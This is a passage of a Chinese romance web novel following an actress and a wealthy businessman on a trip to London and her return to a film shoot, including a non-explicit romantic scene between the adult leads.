“谢谢迟总的慷慨,我先把凌小姐的包包送回公寓。”Mia摆摆手离开。
见她的身影彻底消失,凌书寻才看向迟昼,表情略带尴尬:“不好意思,是Mia非要都买两个,我说了不要她也不听。等回去以后,我会慢慢把钱还……”
“是我吩咐她这么做的。”迟昼打断。
凌书寻动作一顿,轻轻重复一遍:“……你?”
“嗯。”他淡淡地应声,又不动声色的转移她的注意力,“帮我选几个款式?”
他们所处的店铺是一家百年老店,墙壁上泛着浅卡其色,像是沉淀下来的时光;空气里浮动着淡淡的羊毛绒和木质香氛的气息。
迟昼站在一面巨大的玻璃陈列柜前,里面是稀有的面料样本。一位头发花白、穿着合身马甲的老裁缝正微微躬身。
他侧过头,用带着口音的英语与迟昼低声交谈。
迟昼向着凌书寻示意一下,一本本令人眼花缭乱的样本册便被递到了她的手中。
老裁缝识趣地退开几步,给他们留下单独的空间。
“……”
凌书寻的指尖带着几分迟疑,翻开的面料册上有着极其柔软与细腻的触感,下面贴着昂贵的羊毛标签。
“觉得哪个好?”迟昼的声音近在耳畔,不知何时靠的她更近了些。
她的指尖犹豫地指向一款午夜蓝的面料,深邃的颜色,里面还织就着暗纹,“这个,或许适合晚宴类的场合。”
其实她并不确定自己的眼光会不会被采纳。
迟昼的衣柜里几乎是清一色的黑白灰,每一件西装和衬衫都是那么挺阔有型,穿在他身上都是别样的矜贵。
此刻,她带着一点私心,想看他穿另外的、她认为好看的颜色。
“嗯。”他应了一声,“继续。”
凌书寻又翻过几页,挑出一块更挺括的灰色法兰绒,“这个可以日常穿。”
“好。”他的回答依旧简短,却带着一种信任。
老裁缝又适时地递上另一本更珍贵的样册,羊皮封面,里面的面料更是奢华的惊人。
迟昼自己又选了几种不同的料子,和凌书寻提到过的面料和款式一同确认给了老裁缝。
接着,他跟随裁缝的助手前往二楼量尺寸。
凌书寻这时像突然想起什么,停下了脚步,仰头看着迟昼:“我出去一下,马上就回来。”
她话音落下,不等迟昼的反应,就头也不回地推门跑了出去。
-
迟昼量完尺寸又付过款项后,抬手看了一眼腕表。
距离凌书寻推门出去,已经近半个小时。
心头猛地一沉。
他立刻拨她电话,关机。
一丝不祥的预感瞬间攫紧了他。他迅速塞给老裁缝一张名片,叮嘱他,如果那位小姐回来,一定要给自己打电话。
说完便疾步冲出门外。
向右。
迟昼记得,她出门后是往右边走的。
萨维尔街人影疏落,他锐利的目光扫过每一处。各个店铺里灯影明亮,透过橱窗望去,也都寻不见那个熟悉的身影。
时间还在流逝,他心中的不安渐渐演变成焦灼的烈火,炙烤着他的神智。
他只得询问出现在视线中的每一个路人,有没有见过一个中国女孩,长发、高挑,穿着白色的裙子。
得到的只有茫然的摇头。
迟昼一遍遍重拨她的号码,听筒里只有冰冷机械的关机提示。他转而打给Mia,“凌书寻有没有去找你?”
Mia才刚否定,他就立刻掐断了电话。
她能去哪里,手机是没电还是被偷?
这个笨蛋,不管发生什么,为什么不能先回店里找他?!
迟昼无法再想下去。
他孑然站在异国的街头,不停地环视四周的环境、行人,全然无觉额头已经渗出的,细密的汗珠。
下一刻,他忽然想到,店铺是固定的,也许里面有人曾经看到过她。
他猛然转身,推开裁缝店的门,向里面的人询问有没有见过符合特征的中国女孩。得不到线索,就立刻冲向下一个店铺。
一家,两家,三家……
恐慌似一场台风,在他的胸腔肆虐,几乎要将他吞噬。
可他还是推开了下一扇门,询问。
这家店的店主是一个中年女人,在听完迟昼的描述后回答:“A Chinese girl bought a tie here not long ago.I think she is the person you''re looking for.”(有个中国女孩在我们这里买了一条领带,我想她就是你要找的人)
迟昼立刻追问她向哪边走。
店主伸出手指了指,迟昼道谢后立刻跟了过去。
他边走边问,走了一个街区后,终于看到了一个熟悉的白色身影。
她正在马路的对面,一脸茫然无措,手上还提着一个纸袋,亦步亦趋地跟着身边的英国警察。
迟昼停下脚步,心里的那场肆虐的台风终于在此刻骤然平息。
“凌书寻。”
-
听到名字的人下意识顿住脚步,不可置信的看向声音的方向。
那是对面的街角。
红棕色砖块砌成的墙体下,有一个颀长挺拔的身影。他的衬衫如同一张被揉凌乱的白纸,原本总是梳的整齐的头发散下几缕,挡在眉眼前;价值不菲的西装外套被随意地提在手里,骨节因为用力而发着青白,身体随着略急促的呼吸而微微起伏。
他站在那里,平静深邃的眼神望着她,周围所有的景色都开始渐渐模糊。
异国陌生的街头,唯有他的身影,在眼中如此清晰锐利。
下一秒,凌书寻不顾一切地,朝他飞奔而去。
她穿过马路,无视身后警察的呼喊与路上移动的行人,直直的、坚定地扑进他的怀里。
她贴过来的那一刻,迟昼感受到她全身都在颤抖,于是伸出双臂,缓缓地环住她。
那一刻,他想生气,想质问她为什么乱跑,又为什么不打回电话,知不知道他有多担心。
可是当她抬起那张挂满泪痕的脸,啜泣着看向他的时候,他所有的怒意都在瞬间坍缩,又化作齑粉。
他听到自己脱口而出的话是,“你还好吗”。
“我、我的包被抢、抢走了,我去追,追了好远,可就是追不上,自己还、还迷路了……”
她的声音越说越小,最后几不可闻。只是依然不断的在啜泣,长长的睫毛被完全洇湿,几道清亮的泪痕挂在脸上。
迟昼抬手替她拭去泪珠,“丢了再买就是。你追什么,又不认识路。”
他的声线还很凛冽,在不觉间带着轻柔的关切,又变得有些沙哑。
“有没有受伤?”
凌书寻摇摇头,又把脸伏在他的胸口。
被抢劫惊恐、追逐的焦迫、迷路的慌乱,以及此刻的安心,太多纷杂的情绪,都化作轻微的抽泣。
迟昼只得先由她抱着,自己跟走过来的警察解释两人的关系,道谢。
警察点点头,用带着伦敦腔的英语说,她在另一个街区遇到自己,求助他带她回萨维尔街。既然如此,他的任务就算提前完成了。如有需要,可以跟他去警局报案。<
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p>当警察走后,他再度低头,语气无奈:“还要哭多久?”
哭声已经止住,她慢慢离开他的身体,脑袋耷拉着,长发从两侧垂下,挡住了那张原本明艳至极的脸。
“为什么要突然跑出去。”
“就是……在选面料和款式的时候,突然想到路上经过的橱窗里面,有一条很好看的领带……感觉很适合你……”
她提起手中的纸袋,犹豫地递给迟昼,“还好它没被抢。”
迟昼失笑,还是接过:“不能等我忙完一起过去?”
“我想当做礼物送给你。”她抬起眼帘,眸光还带着潮气,眼尾淡红。
那抹红色像一片枫叶,毫无预兆的飘落在泛黄的草地。
而他的心是那段秋季。
他从黑金纸袋里拿出一个深色的丝绒包装盒,打开后正是那条领带。
藏青色底,上面有很细的银灰色暗纹,就像流淌在窗上的,伦敦的雨。低调、沉郁,却又精致。
迟昼的目光落在领带上,又缓缓移回凌书寻脸上,唇角勾起一个极淡的、几乎难以察觉的弧度。
“眼光不错。和刚才选的那几件外套都能搭。”
她吸吸鼻子,视线不经意扫到他的胸口,那一片的衬衣上沾满了她的眼泪,混合着哭花的妆容,像乱抹一通的水彩画。
就忽然觉得自己很没出息。
或许是异国的空气会放大情绪,她才会在那一刻停止所有的思考,身体比意识更先一步,奔向那个在陌生环境里唯一可以依靠的人。
冷静下来后,她又开始羞赧:“对不起,我,我弄脏了你的衬衫。”
他没有回答,只是转身后又看向她,淡淡的说:“走吧。”
凌书寻听话的跟在他的身后。
相隔不远处正有一家成衣店,迟昼进去买了一件新的衬衫。
在他去试衣间的空隙里,凌书寻问sales要了湿巾,擦掉剩余的妆,整张脸恢复成最纯真的样子。
走出店门,迟昼问她:“还有没有什么想去的地方?”
凌书寻看着远方的路面,眼睛忽然亮了起来。她转头看向迟昼,水眸里有隐隐的期待,“接下来的时间,可以都给我吗?”
“随你安排。”
“那我们坐这个慢慢回去,好不好?”她指着渐渐靠近的庞然大物说。
迟昼抬眼看去:“……”
-
他们并排坐在一辆红色的Big Bus观光车上。
上层的后半部分是露天的,视野几乎没有任何遮挡,除了他们二人外,只有一个南欧模样的男人坐在最后排,低着头不知在摆弄什么。
Bus的行驶速度并不快,一路走走停停。
白金汉宫、大本钟和威斯敏斯特教堂等许多古老又华美的建筑,都浮现在凌书寻的眼睛里,又悄无声息的烙印在记忆的深处。
而伦敦的天色,也在时间里慢慢变化着。从午后浅金变成热烈的橘红,又渐渐被粉蓝色铺满。
当巴士行驶到泰晤士河畔上的塔桥,恰值日落后的蓝调时刻,幽蓝的夜幕里,路边星星点点的灯光亮起。
她心中一动,情不自禁地看向身边的人,感叹道:“好漂亮。”
“我会永远记得,今天的风景。”
迟昼没有说话,只是回应她的视线。
城市已经披上了迷人的晚装,桥上的车辆川流不息,河里有轮船鸣着汽笛漂过,留下翻涌的水花;微风拂过她的几丝长发,他看到自己在她明亮的眼睛里。
时间在这一刻变得缓慢。
原本喧嚣的世界好像突然安静下来,静到他能听见自己心跳的声音。
然后他抬起手,抚上了那张清丽的脸。在她沉静潋滟的眸光里,身体缓缓靠近。
一个温柔缱绻地吻,轻轻落在了她的唇角。
23.深处
凌书寻不记得自己是怎么回到公寓的。
也许是伦敦的夜晚太让人迷醉,亦或是泰晤士河畔的江风吹乱了她的心神。
所以当迟昼清隽的脸慢慢向她靠近时,下意识的闭上眼睛。
接着,一个浅淡的吻就落了下来,带着专属于英伦的,优雅的气息。
而一天的回忆,似乎也就停留在了这里。
坐在客厅松软的布艺沙发,她才渐渐回神。一张躺在茶几上的拍立得照片吸引了她的视线。
上面是她和迟昼在Big Bus上的背影,四周是钴蓝色的夜空与河面,依稀辨认出是在塔桥时。她侧着脸,长发散在空中;而迟昼正俯身吻她。
她终于想起,这是最后排的那个南欧男人送给他们的。
就在他们起身即将下车时,他叫住迟昼,用口音极重的英语说了一段话,递上了他拍下的这一时刻。
迟昼道谢,他只摆摆手,率先离开。
“在想什么?”迟昼的声音从身后传来,那股独属于他的雪松气息,慢慢裹挟住了她。
“本来还在懊悔手机丢了,没能拍照记录今天看到的风景。”凌书寻拿起那张小小的相片,举在自己的眼前,“可是看到这张拍立得,感觉一切都不重要了。”
迟昼在她身边坐下,指尖夹过她手里的相片,重新放回茶几上。
在她还没反应过他的动作时,抬起她的下巴,再次吻住了她。
和蓝调时刻的那个吻不同,他这一次是如此有侵略性,唇舌撬开了她的牙关,带着难以言明的炽热,津液同气息纠缠在一起,有什么东西在不断地向下坠落。
良久,他才放她呼吸。
凌书寻得以喘息后,才感觉到眼角沾着凉凉的液体,眼泪不知什么时候溢在了睫毛上。
泪眼汪汪的样子。
迟昼察觉自己的体内燃烧着一把名为“欲望”的火焰,在她紊乱的呼吸下愈演愈烈。
他一手环在她的腰间,另一只手覆上了她的脑后。
紧接而来的,是又一个汹涌激烈的吻,情与欲的潮汐几乎瞬间就把她吞没。
凌书寻被压在沙发上,残存的理智让她用双臂抵住他下一波的攻势,艰难地侧开脸。
“等一下!”她气喘吁吁。
唇间的炽热有所撤离,而他的粗重的鼻息仍然灼烧在她的脸上。
“还没洗澡……”她小声说,“你先去。”
迟昼从沙发上起身,停顿片刻。又再次俯身,长臂伸进她的背后和膝下,将她横抱起,走向浴室。
他眉眼间还染着欲色,薄凉的唇贴近她的耳廓,声音极低:“一起洗。”
凌书寻鼻翼两侧浮现大片的绯红。
今天发生的一切都偏离了她的预料,唯有他们需要履约的协议是固定的城池,即将迎来他的占领。
-
迟昼的臂弯沉稳而有力,却也禁锢着她的身体。
凌书寻搂住他的脖子,脸上烫的可怕,整个人心猿意马地张望。被他抱着经过开放式的衣帽间,偶然瞥见了挂在里面的一套制服。
红边轮廓西装,胸口有一块蓝黄相间的校徽。
旁边挂着的一件深蓝色的棒球衫,相同的位置,相同的校徽,与他那沉默严肃的衣帽间风格相差极大。
“那件,”她伸手指过去,“是你读书时的校服吗?”
迟昼放缓脚步,顺着她的方向看过去,“是。”
凌书寻开始想象他穿那套棒球衫的样子。可是和他这张清冷严峻的脸,不仅完全不能搭,反而有些滑稽。
她忍不住笑了一下。
迟昼低头睨她,眼神似乎已经洞穿她的想法。他弯腰将她沉入浴缸,指骨分明的手伸向她裙子的拉链。
他坐在浴缸的边缘,倾身靠近她,温热的气息打在她的耳垂。
“看来是我还不够强烈,居然让你现在还有心思想其它东西。”
裙子被顺手丢在地板上,还停留在她后背的手指却没有要离开的意思。
她立刻否认,“没有。”
在水流快要漫到发尾时,她抬起手,从腕间勾下一个细细的发圈,把长发简单的拢在脑后,露出了整片光洁又单薄的脊背。
尚在停靠的那只手缓缓划过她背后白皙的肌肤,带来一阵酥麻的战栗。
又从她的脖颈掠过,沿着锁骨向下游弋……
在即将触碰到那片柔软之时,她倏然伸手紧紧握住了他的手腕。
在他还没有下一步动作的时候,另一只手猛然撩起一片水花,泼在了他胸前的衬衣。嫣红的唇勾起,似乎对自己这样报复他的行径很满意。
迟昼闷笑一声,“幼稚。”
衬衫被湿透一片,底下那片紧实的胸肌隐约可见。他手指收回,一粒粒解开剩余的扣子。
以及腰带。
最后,他摘下昂贵的腕表,随手扔在地上那堆散乱的衣服中。
带着一身性感的线条,从她身侧的空间挤了进去,溅起淅沥的水花。
凌书寻本来正抱住自己的双腿,抬眼看他。
下一秒,他却坐到了自己的身后。
两人身下的水流浮动摇晃,水汽蒸腾弥漫间,他的手臂环过她的平削的肩颈,将她揽进了自己的怀里。
她的惊呼还未来的及出口,又再一次被堵住唇舌,搅弄着她的口腔。他的指腹还贴着她柔软细腻的肌理,舒缓的替她清洗。
这个澡洗的格外漫长。
回到卧室,凌书寻陷在柔软的床褥里,头发在顷刻间散开,发圈不知崩落去了何处。
昏暗暧昧的灯光下,迟昼与之前的态度完全不同,只慢条斯理地吻她。
身体被他挑起渴望,皮肤泛起霞色,声息嘤咛。整个人如同一条缺水的鱼。
终于,他覆在她的腰下手掌用力抬了抬,让飘荡的云雨化作一室旖旎。
-
次日。
伦敦终于结束了这几天的好天气,雾都恢复了它往常的阴郁、潮湿、多雨。
凌书寻和迟昼坐在宾利的后座,一位本地司机正在驾驶着车辆,穿行在街上淡薄的雾气里。
凌书寻脑袋昏沉,不住的打着瞌睡。
昨夜两人厮混到太晚,直到后半夜才沉沉入睡,早晨又被电话声吵醒。故而导致整个上午,她的身体都带着没休息好的疲累,腰间更是分外酸软。
她悄悄抻了抻腰,重新把头靠在玻璃上。
思绪混沌如窗外蒙蒙的雾气,也无意关心要去往哪里。
忽然,有只手按在了她的腰际,尽管隔着一层薄薄的衣料,仍能感受到他指尖的微凉。
带着适宜的力道,一圈一圈的揉按在她最酸软的地方。
凌书寻先是全身一僵,而后看向那只手的主人——一切的始作俑者。
仍泰然自若的在对着手机处理工作,好像什么都没发生。
她赌起气来,在他腕间拧了一把。
感受到这突如其来的痛意,迟昼才抬起眼眸,他放下手机无奈地捏了捏眉心:“幼稚。”
他轻叹一口气,眼前这个女人明明艳丽娇媚,却又迷路、泼水、偷偷拧人,像个小孩子。
如同一个潘多拉魔盒,每一次的接触,都会发现一些新的特质。
这无疑是致命的吸引,而他坚信自己的冷静自持,会在最后一刻把局势控制住。
车子很快停在了一栋四层的建筑前。
门庭规整严肃,有门卫在把守。
“这是哪里?”她好奇的问。
“领事馆。”他下车后朝她伸出手,“下车。”
一位穿着制服的中年女士迎了过来:“迟先生,您好。我是商务处参赞秘书,Zoe。请进。”
进入接待室,凌书寻跟着迟昼刚坐到沙发上,Zoe递上一个玉瓷托盘,上面放着一个护照和破损的钱包。
“我们安排人在萨维尔附近的几个街区展开了搜寻,果然找到了被丢弃的护照和钱包等物品。”
“不过,手机没有找到,钱包里面的现金都已经被取走了,只留下一些证件和银行卡。”
凌书寻听闻拿过来翻看,果然是自己的丢的,“怎么会……”
当失而复的喜悦盈满心房,连她的眼角都忍不住湿润。平复情绪过后,起身对着Zoe鞠躬致谢,“感谢你们!对我来说,能找回这些证件,就是在英国最大的奇迹。”
Zoe笑了笑,扶起她的小臂:“昨天下午收到迟先生的消息以后,我们也联系了警察那边,相信嫌疑人也很快就可以抓到。”
果然是他。
凌书寻心中一动,看向自己身边的人:
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“谢谢。”
而他也正好整以暇的看着她,唇边挂着一点似有若无的笑意。
“走吧。”他起身,又向着Zoe微微颔首,“麻烦你们了。”
“应该的。迟先生慢走,有其他问题欢迎再联络我们。”
走出领事馆大门,迟昼站在车前问:“还想去哪里?”
“咦?”凌书寻疑惑,“你今天不用去公司巡查?”
“收购的案子昨天已经全部处理完,接下来没什么事,可以陪你逛逛。”他淡淡地。街上行人来来往往。
伦敦所有想去的地方,凌书寻都已经和Mia去看了一遍,这趟旅程几乎已经心满意足。
倏然,她想到衣柜里的那两件校服。“我们去你中学看看好不好?你念的是哪一所?”
迟昼看向她,“为什么?”
“我听说英国的公学都很厉害诶,而且,”她看着他,眼睛笑眯眯地,“也看看你的过去。”
迟昼顿了顿,垂下眼睫,搭在车门上的手指微微蜷缩一下,心脏有根线被绷紧。
“好。”
-
当车子停在威斯敏斯特公学所在的古老街区时,天空恰好飘起细雨,为那些历经几个世纪的建筑蒙上一层淡薄的纱。
司机下车,为两人打开车门,递上一把宽大的黑色长柄伞。
迟昼接过撑在两人中间,巨大的伞面隔绝雨丝,遮罩起一个独属于二人的小天地。
凌书寻走在他的的内侧,隔着迷蒙的雨雾,看向那片庄严肃穆,盛载着无数传奇的建筑群。
“雨雾中的伦敦,好有电影的氛围感。”她轻声感叹。
“你很喜欢雨天?”
她摇摇头,嘴角漾起一抹笑意,“我喜欢的是现在这一刻。”
迟昼脚步微不可察的顿了一下,低头看向她。
凌书寻的视线还落在前方,威敏公学那标志性的拱门和斑驳的墙体,自言自语般喃喃道:“能在这样顶尖学校读书的少爷小姐们,人生还会有烦恼吗?”
迟昼沉默地望了一眼,那扇他曾经在无数个清晨里独自穿过的大门。
他薄唇轻抿,声音低沉:“有的。”
“比如?”她侧过头好奇地追问,笑意里带着一丝狡黠,“分享一下你在威敏的时光嘛,少爷?”
迟昼沉默了片刻,视线从校园的方向收回,望向远处被雨水打湿的路面“没什么特别。一个人上学,下课,写论文,准备考试。”
一个人?
凌书寻捕捉到这三个字,她脚步在不觉中放缓:“十六岁时,就一个人在这里?不会觉得……孤独呢?”
迟昼垂眸,对上她澄澈的眼底。
雨丝落在伞面,发出细密的沙沙声,放大了此刻的寂静。
他没有直接回答她的问题,只是淡淡道:“习惯了。”
“在更早的时候,我就独自在新加坡读初中。那时应该十三岁。”
他的语调近乎冷漠,视线平静无澜地看着前方,像是在诉说一件与自己毫不相干的事,没有任何多余的情感。
可凌书寻却感受到了,他那颗被独自前行的岁月所包裹起来的、坚硬的内核。
原来这就是他的过去。
异国。孤寂。沉默。
像正在飘落的这场潮湿的雾雨。
把她的心被浸软,又缓慢地膨胀。
凌书寻并不擅长安慰人,也明白他并不需要她的安慰。但出于人道主义关怀,和对老板的讨好,觉得自己还是要说点什么缓解这沉郁的气氛。
于是略措辞后,不紧不慢地说:
“你现在所拥有的一切,或许就是命运对过去那份‘习惯’的补偿。”
迟昼握着伞柄的手指收紧一瞬,又很快恢复如常。
街上行人寥寥,石板路被雨水冲洗得发亮,她的声音温柔而清晰。
那句“补偿”在他的耳边轻轻回荡,与他十六岁时独自穿过这些街道时听到的,自己孤寂的脚步声,形成了某种遥远而模糊的关联。
迟昼一直以为,自母亲死后,父亲带着那个女人和迟星登堂入室,他早已将那份孤独锻造成了一副盔甲,也不需要任何人的理解或慰藉。
可就在刚才,盔甲似乎被悄无声息的撬开了一丝缝隙,有陌生的、温热的东西渗了进来。
24.寂静
在回国的专机上,迟昼陷在椅背,不知是睡着了还是在养神。
暖色的灯光照在他轮廓分明的脸上,投下小片阴影。所有的锋利和凛冽,似乎都在这一刻,随着眼睛的闭阖而被隐去。
凌书寻盯着他沉静的侧颜,蓦地想起那张拍立得相片。
她离开的时候忘记带走,它还遗落在伦敦的公寓里,长久的等待着不知何时才有的下一次重逢。
或许永远都不会有。
也好,她想。
不过是一个因缘际会下,被氛围烘托出的小小插曲,不应该被镌刻与铭记,应当把它留在故事的发生地。
当飞机落地又是凌晨。
一回到别墅,凌书寻只想钻进被窝里,调息时差。
明天还要去购置新的手机,办理新的电话卡。
后天就要进组,还是要得保持一个良好的状态才行。
进门的瞬间,她随手把行李箱往玄关一拖,“噔噔噔”的跑上楼去,直接把迟昼甩在身后。
客厅里与楼梯的小夜灯随着她的身影而点亮,盏盏幽微的光为阒静的别墅带来一点温度。
凌书寻按下卧室主灯开关的霎那,陌生又熟悉的一切重新回到了她的面前。看着这间暂属于她的、豪华而格调的套间,总有一丝恍惚。
当她准备换下衣服去洗澡时,视线扫过屋内,却又被一样东西拉了回去。
床头柜上,几个大小不一的、规整的盒子叠放在一起,落成了一座方形的小山。
可是自己最近并没有网购。
她带着满心的疑惑走近,待看清后愣了一下。
一套水果的全家桶,被码的整整齐齐。
全新的Mac、iPad、iPhone、iWatch以及一个AirPods,正在等待拆封。
这都是送给自己的?可是她丢的只有一个手机而已……
出神之际,门外沉稳有力的脚步声已经渐渐逼近,正经过她的房间。
凌书寻跑得飞快,冲在门口叫住了即将踏入另一个卧室的身影:“等等!”
迟昼停下脚步,撇过头来淡淡的看向她。
“我房间里的那些电子设备,是你送的?”她的眼神中满是不可思议,又隐约的带着一点期待。
“既然丢了,正好换一套新的。”
凌书寻眉眼舒展开,但语气有点不好意思:“可我只丢了手机而已,你这一套也太兴师动众了。”
“我送东西都是整套起手。”他移开视线,“要是不喜欢的话,拿去给周姨或者丢了,随你怎么处置。”
凌书寻闭嘴了。
不要白不要。
这是她一直以来的人生信条。
“出于勤俭节约的美德,当然不能随意丢弃,我会好好保管的。谢谢迟老板。”她露出一个标准的微笑,颔首后雀跃地跑回自己房间。
迟昼看着她消失的身影,唇角浅淡的勾起。
就这样一份很简单的快乐,他好像已经失去了很久。
自己早就厌腻的物欲,在凌书寻那里却能被很轻易的满足。看到她因为物质而眉眼弯弯的样子,让他感觉到一种久违的兴致。
他所缺失的。
欢忻。
-
《烈焰》的拍摄地点在南方的宁市。和北城相隔甚远,飞行时间超两个半小时。
开机时间是在周一清晨,凌书寻要提前一晚到达剧组订的酒店。
周日下午,薛涵过来接她,当凌书寻拖着行李走出卧室,迟昼正伏案翻阅报表,高挺的鼻梁上架着一副细丝眼镜。
听到行李箱滚轮发出的低轰声,他从书桌上抬头。
两人的目光在空中相撞,彼此都无言一瞬。
凌书寻还没见过他戴眼镜的样子,不免多看了几眼。
比起平日里的凛冽,单薄的镜片让他多了几分斯文和温润,像霜雪化成的清露。
他问道:“要走了?”
凌书寻回过神:“嗯。”
犹豫片刻,凌书寻还是放下行李箱,在他平静无澜的眼神中走近书桌。
“我进组后,恐怕不能每周都回来。”她声音很轻,带着一点抱歉的味道。
虽然没有说后半句,但两人都心知肚明。
他们之间最隐秘的协议,会因为她的工作而出现短暂的中止。
是筹码,也是负累。
迟昼半垂下眼帘,似乎把注意力又放回在手中的文件,清冷的声线一如既往,“一个月后有个宴会,需要你陪我出席,安排好通告时间。”
“好,我尽量。”
听闻,他的目光透过清晰的镜片,重新落在了她的脸上,带着令她清醒的凉意:“不是尽量,届时无论如何都要回来。”
凌书寻无奈点头:“您说了算。”
“去吧。”
转身提起行李箱,正欲下楼梯,身后又传来他的声音。
“凌书寻。”
她停下脚步回头看他。
迟昼不知什么时候已经起身,正站在书桌旁看她。一只骨节清晰的手掌撑在桌上,另一只则散漫地插在西装裤兜,露出几分肆意的味道。
他鼻梁上的镜片因为反光出现了一片不规则的空白,凌书寻看不清他藏在后面的眼神。
只注意到他淡色的薄唇轻轻抿了一下,继而启合:
“如果在剧组遇到什么麻烦,及时告知公司,或者……钟俊。”
凌书寻感觉到心上漾开了一个小小的涟漪,水波温柔。
“知道啦。”
等她的身影被深色的大门彻底隔绝,迟昼才缓缓坐回身后的那张灰色真皮座椅。
没有了凌书寻的声息,别墅里还是如往常一般寂静,可又好像过于寂静。
迟昼想起,她温热的呼吸扑在自己耳廓的感觉。
是在英国的那几个夜晚。
当他忙完跨国收购的事务再回公寓,总是已经深夜,她业已熟睡。
他不觉放轻动作,躺在床榻上看向她恬静的睡颜。
而后莫名的伸出手指,触碰了她光滑细腻的面容。
她没有醒。
他也渐渐睡去,一夜都是他最需要的、连贯的深眠。他很久都没睡得这么舒服。
晨间,当迟昼睁开眼睛想起身时,感觉到胳膊被什么东西钳制着。
他艰难地侧过脸,看到凌书寻正靠在他的肩,脸庞埋在他的颈窝之间,温热平缓的气流不时落在他的耳垂。
没由来的,他感觉到皮肤下澎湃起一股燥热。
他闭上眼睛,喉结上下滚动,又过了数秒才得以平复。
一楼传来一阵引擎发动的声音,隔着双层隔音的落地窗,隐隐约约并不真切。
但迟昼知道,那是她离开的讯号。
而今晚开始,这栋房子又只剩下他一个人。
以及,那些惊醒后独自捱过的漫漫长夜。
-
凌书寻在剧组拍戏的日子过得倒是还算顺利。
作为最大投资方钦定的演员,几乎没人敢给她脸色看,每个人在她的面前都是最耐心、恭敬的姿态。
扬眉吐气吗?
似乎并没有。
娱乐圈是一个多现实的地方,而纸醉金迷只不过一个浮华的表象,掩盖了最难闻的铜臭味道。
反而是那些曾经
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独自在剧组跑龙套的日子,一一在眼前浮现出来。
那些被无视的、随意欺凌的、没有任何通知就删除戏份的往事,与此刻形成了最讽刺的反差。
她在《烈焰》的戏份主要集中在前两个月,剧务又把她的通告基本都安排在了白天,平均下来每天三四场戏,没有过大的压力,又不会过于清闲。
这天,凌书寻正下了戏在片场休息,薛涵兴冲冲的过来,一屁股坐在她的椅子旁边
“宝贝,有个好消息,你一定想不到。”薛涵是个藏不住事儿的,不住地向她挤眉弄眼。
“什么事,要我猜一下吗?”凌书寻合上手中的剧本,抱着手臂看她,故意做出一副不紧不慢的态度。
薛涵果然上套,见她不追问下去,反而自己憋不住:“你录制的那期《桃源乡》,明天晚上就要在电视上播了!”
“公司和节目组打过招呼,会多保留一些你的镜头。而且这期可是有顶流巨星方居澈,关注度拉满!”
凌书寻内心倒是很淡然,不过一期综艺,能刷个脸熟足矣。
到了周五。
这天剧组收工也早,两个人就窝在酒店里一起看综艺,还买了一点酒。
凌书寻的镜头是从到达农庄的那一刻开始的。
到达的当晚,并没有多少出镜时间,镜头更多的是在对准那五位常驻嘉宾。甚至在抽签的时候,也只是一个画面带过。
她的镜头在方居澈来到农场以后才开始多了起来。
当两人见面握手的时候,节目组还在上面标注了“粉丝圆梦ing”的花字,看的凌书寻哭笑不得。
“你在干活的时候,特别有力量感。”电视里播放着方居澈的声音,画面里是她在给烧鸡捆绳子。
“可能因为我的经验还算丰富?”她的眼神专注而认真,没有离开过手上的工作,“小时候帮爷爷奶奶做事的时候我都会很开心,所以有时候也在想,我是不是比较适合去做体力劳动。”
画面切回方居澈爽朗的笑声,“希望还会有机会看到你做其它农活。”
“当然可以啦,我们明天还有一天的时间呢!”
房间里,薛涵正盘腿坐在凌书寻旁边。
她边看电视边往嘴巴里塞着薯片,含混不清地说:“方老师对每个人都这么温柔吗?”
“应该吧,他是个很随和的人。”凌书寻随口回道。
薛涵继续吃着薯片,无意地说:“可是他和其他嘉宾的互动很少,一直是你们两个人在一起做任务。”
凌书寻愣了一下。
好像这期综艺里,有关她的镜头里,旁边都有方居澈,鲜少存在自己单人画面。
很快她又明白过来,毕竟方居澈是顶流,节目组想多给他画面也是应当的。尽管同为飞行嘉宾,自己依然不过是陪衬。
然而在下一刻,她想到的是,希望迟昼不要看这期节目。
上次他阴冷的问她,她和方居澈是什么关系。凌书寻隐约觉得出来,他有点在意自己和其他男人接触。
像抗拒自己的私有物被其他人触碰,而出于礼貌和教养,仍保持着表面的大度。
不过迟昼工作那么忙,怎么会有时间看综艺节目。
凌书寻乐观地想,他此刻肯定在那间巨大的办公室里加班。
毕竟那是他的性向。
而她猜得也没错,迟昼此刻确实还在办公室里。
桌旁靠窗的位置,有一盏落地灯亮着,柔和的光晕将他身上左半边的白衬衫染上淡淡的黄。
他靠在椅子上,脊背立得很直,那双清冷深邃的眼睛盯着面前的电脑。
屏幕上正播放着她的综艺。
25.金婚庆典
《桃源乡》这一期播出后,反响意外的好。
凌书寻对薛涵说:“又沾到了顶流的光。”
周五播出的节目,成功霸榜了整个周末的微博话题,热度居高不下。
#方居澈凌书寻两个牧童#
#方居澈和凌书寻的艺术烧鸡#
#凌书寻是懂牛的#
……
甚至连带着前段时间和方居澈的绯闻也又被翻了出来。
尽管双方一直都没有回应,但是在这期节目播出后,方居澈的粉丝和大部分路人都明白了,两人是通过《桃源乡》认识的关系不错的同事。
而凌书寻在节目中展现的率真、冷静、高动手能力,也俘获了一批路人缘。
很多网友表示,她救助小牛那一段特别拉好感度,连带着微博都又涨了十几万关注。
【姐姐真是人美心善,以后可以多参加节目吗,还想看!】
【老婆教我放牛挖野菜吧QAQ,我们两个把日子过好比什么都强!】
团队趁着热度,在账号上发了几张在野外时的剧照。
她脸上几乎未施粉黛,宽松休闲的户外常服下,还能辨认出玲珑有致的身形,草帽下的两个麻花辫自然又随性。
还又顺便发了一些正在拍摄的新剧通稿。
好像一切都很顺利,在往好的方向发展。
凌书寻闲暇时用小号刷了几次微博,心中总隐隐有点担忧。
上次和方居澈上热搜,都要被迟昼的脸冷死了,她现在想起来心情都难免会有点低落。虽说这次真的只是工作关系,也难保他这次不会重来一遍。
要不要和他发个消息说一声呢?
正当她愁眉苦脸的时候,手机提示提示收到一条微信,打断了她的想法。
下意识点开后,她表情意外。
是方居澈发来的:
“书寻,周五的节目有看吗,大家的评价好像还不错,你的表现很吸引人。”
她客气地回复:
“看过啦,谢谢方老师的夸赞!能有热度方老师功不可没,有机会一定请你吃饭!”
对面很快又发了消息过来:
“好,那我就等着了。”
-
时间来到与迟昼约定的周末。
周六下午凌书寻和薛涵早早收工,和导演打过招呼后,去赶回北城的飞机。
在下机前,薛涵还在念叨:“宝贝你现在是个有知名度的艺人了,一定要保护好隐私,千万不要再忘了戴口罩。”
“那我要不要再戴一副墨镜啊?”凌书寻好笑的问。
没想到薛涵长叹一口气:“唉,我居然忘记帮你准备墨镜了!”
“……”
走出机场,两人上了公司的埃尔法保姆车。
